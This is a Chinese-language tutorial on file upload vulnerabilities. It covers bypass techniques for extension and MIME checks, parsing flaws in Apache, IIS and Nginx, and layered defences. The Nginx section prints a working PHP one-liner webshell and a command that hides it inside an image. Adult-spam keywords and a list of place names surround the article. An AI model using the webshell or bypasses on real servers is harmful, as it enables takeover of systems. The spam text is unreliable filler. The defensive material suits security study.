最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

文件上傳漏洞攻擊與防范方法

2023-07-24 16:30 作者:ZzZ阿宅ZzZ  | 我要投稿

01 文件上傳漏洞簡介

文件上傳漏洞是web安全中經(jīng)常用到的一種漏洞形式,是對數(shù)據(jù)與代碼分離原則的一種攻擊。上傳漏洞顧名思義,就是攻擊者上傳了一個可執(zhí)行文件如木馬,病毒,惡意腳本,WebShell等到服務器執(zhí)行,并最終獲得網(wǎng)站控制權(quán)限的高危漏洞。

02 文件上傳漏洞危害

上傳漏洞與SQL注入或 XSS相比 , 其風險更大 , 如果 Web應用程序存在上傳漏洞 , 攻擊者上傳的文件是Web腳本語言,服務器的Web容器解釋并執(zhí)行了用戶上傳的腳本,導致代碼執(zhí)行。如果上傳的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為。如果上傳的文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執(zhí)行。如果上傳的文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執(zhí)行,被用于釣魚和欺詐。甚至攻擊者可以直接上傳一個webshell到服務器上 完全控制系統(tǒng)或致使系統(tǒng)癱瘓。

03?文件上傳漏洞原理

大部分的網(wǎng)站和應用系統(tǒng)都有上傳功能,而程序員在開發(fā)任意文件上傳功能時,并未考慮文件格式后綴的合法性校驗或者是否只在前端通過js進行后綴檢驗。這時攻擊者可以上傳一個與網(wǎng)站腳本語言相對應的惡意代碼動態(tài)腳本,例如(jsp、asp、php、aspx文件后綴)到服務器上,從而訪問這些惡意腳本中包含的惡意代碼,進行動態(tài)解析最終達到執(zhí)行惡意代碼的效果,進一步影響服務器安全。

04 文件上傳漏洞繞過技巧

一般來說文件上傳過程中檢測部分由客戶端javascript檢測、服務端Content-Type類型檢測、服務端path參數(shù)檢測、服務端文件擴展名檢測、服務端內(nèi)容檢測組成。但這些檢測并不完善,且都有繞過方法。

  • 客戶端檢測繞過(js檢測):

利用firebug禁用js或使用burp代理工具可輕易突破。

  • 服務端MIME檢測繞過(Content-Type檢測):

使用burp代理,修改Content-Type的參數(shù)

  • 服務端擴展名檢測繞過:

文件名大小寫繞過,例如Php,AsP等類似的文件名

后綴名字雙寫嵌套,例如pphphp,asaspp等

可以利用系統(tǒng)會對一些特殊文件名做默認修改的系統(tǒng)特性繞過

可以利用asp程序中的漏洞,使用截斷字符繞過

可以利用不再黑名單列表中卻能夠成功執(zhí)行的同義后綴名繞過黑名單的限制

可以利用解析/包含漏洞配合上傳一個代碼注入過的白名單文件繞過

  • 服務端內(nèi)容檢測繞過:

通過在文件中添加正常文件的標識或其他關鍵字符繞過

文件加載檢測繞過,針對渲染加載測試,

代碼注入繞過,針對二次渲染測試。

05 服務器解析漏洞

1.Apache解析漏洞

Apache 解析文件的規(guī)則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如test.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。

若一個文件名abc.x1.x2.x3,Apache會從x3開始解析,如果x3不是一個能解析的擴展名,就往前解析x2以此往復,直到能遇到一個能解析的文件名為止。

2.IIS解析漏洞

在test.asp/ jkl , IIS 的某些版本中會直接當成asp來解析; test.asp;jkl ,IIS某些版本也會按照asp 來解析;任意文件名/任意文件名.php,IIS 某些版本會直接當php來解析。

IIS6.0 在解析 asp 時有兩個解析漏洞,一個是如果任意目錄名包含 .asp 字符串,那么這個目錄下的所有文件 都會按照 asp 去解析,另一個是文件名中含有 asp; 就會優(yōu)先當作 asp 來解析。

IIS7.0/7.5 對php解析有所類似于 Nginx 的解析漏洞。只要對任意文件名在url后面追加上 字符串 / 任意文件名.php 就會按照php去解析。

例如,上傳test.jpg,然后訪問test.jpg/.php或test.jpg/abc.php當前目錄下就會生成一句話木馬 shell.php。

3.Nginx解析漏洞

將shell語句,如<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>寫在文本xx.txt中(或者shell語句直接寫一句話木馬,用菜刀、cknife等直連,只是容易被查殺),然后用命令將shell語句附加在正常圖片xx.jpg后copy xx.jpg/b + xx.txt/a test.jpg上傳test.jpg,然后訪問test.jpg/.php或test.jpg/abc.php當前目錄下就會生成一句話木馬 shell.php 。

06?文件上傳漏洞防御

1.系統(tǒng)運行時的防御

(1)文件上傳的目錄設置為不可執(zhí)行。只要web容器無法解析該目錄下面的文件,即使攻擊者上傳了腳本文件,服務器本身也不會受到影響,因此這一點至關重要。

(2)判斷文件類型。在判斷文件類型時,可以結(jié)合使用MIME Type、后綴檢查等方式。在文件類型檢查中,強烈推薦白名單方式,黑名單的方式已經(jīng)無數(shù)次被證明是不可靠的。此外,對于圖片的處理,可以使用壓縮函數(shù)或者resize函數(shù),在處理圖片的同時破壞圖片中可能包含的HTML代碼。

(3)使用隨機數(shù)改寫文件名和文件路徑。文件上傳如果要執(zhí)行代碼,則需要用戶能夠訪問到這個文件。在某些環(huán)境中,用戶能上傳,但不能訪問。如果應用了隨機數(shù)改寫了文件名和路徑,將極大地增加攻擊的成本。再來就是像shell.php.rar.rar和crossdomain.xml這種文件,都將因為重命名而無法攻擊。

(4)單獨設置文件服務器的域名。由于瀏覽器同源策略的關系,一系列客戶端攻擊將失效,比如上傳crossdomain.xml、上傳包含Javascript的XSS利用等問題將得到解決。

(5)使用安全設備防御。文件上傳攻擊的本質(zhì)就是將惡意文件或者腳本上傳到服務器,專業(yè)的安全設備防御此類漏洞主要是通過對漏洞的上傳利用行為和惡意文件的上傳過程進行檢測。惡意文件千變?nèi)f化,隱藏手法也不斷推陳出新,對普通的系統(tǒng)管理員來說可以通過部署安全設備來幫助防御。

2.系統(tǒng)開發(fā)階段的防御

(1)系統(tǒng)開發(fā)人員應有較強的安全意識,尤其是采用PHP語言開發(fā)系統(tǒng)。在系統(tǒng)開發(fā)階段應充分考慮系統(tǒng)的安全性。

(2)對文件上傳漏洞來說,最好能在客戶端和服務器端對用戶上傳的文件名和文件路徑等項目分別進行嚴格的檢查??蛻舳说臋z查雖然對技術(shù)較好的攻擊者來說可以借助工具繞過,但是這也可以阻擋一些基本的試探。服務器端的檢查最好使用白名單過濾的方法,這樣能防止大小寫等方式的繞過,同時還需對%00截斷符進行檢測,對HTTP包頭的content-type也和上傳文件的大小也需要進行檢查。

3.系統(tǒng)維護階段的防御

(1)系統(tǒng)上線后運維人員應有較強的安全意思,積極使用多個安全檢測工具對系統(tǒng)進行安全掃描,及時發(fā)現(xiàn)潛在漏洞并修復。

(2)定時查看系統(tǒng)日志,web服務器日志以發(fā)現(xiàn)入侵痕跡。定時關注系統(tǒng)所使用到的第三方插件的更新情況,如有新版本發(fā)布建議及時更新,如果第三方插件被爆有安全漏洞更應立即進行修補。

(3)對于整個網(wǎng)站都是使用的開源代碼或者使用網(wǎng)上的框架搭建的網(wǎng)站來說,尤其要注意漏洞的自查和軟件版本及補丁的更新,上傳功能非必選可以直接刪除。除對系統(tǒng)自生的維護外,服務器應進行合理配置,非必選一般的目錄都應去掉執(zhí)行權(quán)限,上傳目錄可配置為只讀。


文件上傳漏洞攻擊與防范方法的評論 (共 條)

分享到微博請遵守國家法律
通城县| 克拉玛依市| 安宁市| 奉新县| 商水县| 沙河市| 巴里| 毕节市| 贡嘎县| 东至县| 红原县| 辉南县| 莒南县| 宜兰市| 台安县| 米泉市| 页游| 扶绥县| 福泉市| 汉阴县| 德令哈市| 大足县| 阿坝县| 汉中市| 商南县| 庄浪县| 工布江达县| 文成县| 东港市| 青川县| 宁远县| 金山区| 高清| 罗城| 巴南区| 郧西县| 绍兴市| 江华| 北碚区| 公安县| 寿宁县|